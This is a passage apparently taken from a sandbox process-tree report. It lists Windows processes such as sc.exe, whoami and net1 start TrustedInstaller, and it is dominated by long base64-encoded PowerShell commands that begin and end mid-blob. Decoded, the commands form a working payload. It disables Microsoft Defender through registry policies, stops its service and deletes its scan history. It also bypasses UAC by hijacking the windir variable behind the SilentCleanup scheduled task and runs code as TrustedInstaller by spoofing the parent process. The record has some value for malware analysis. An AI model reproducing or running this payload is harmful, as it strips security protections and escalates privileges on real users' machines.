yAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
                    6⤵
                      PID:5596
                      • C:\Windows\system32\sc.exe
                        "C:\Windows\system32\sc.exe" qc windefend
                        7⤵
                        • Launches sc.exe
                        PID:11648
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                        7⤵
                          PID:12344
                        • C:\Windows\system32\whoami.exe
                          "C:\Windows\system32\whoami.exe" /groups
                          7⤵
                            PID:2068
                          • C:\Windows\system32\net1.exe
                            "C:\Windows\system32\net1.exe" start TrustedInstaller
                            7⤵
                              PID:9452
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGk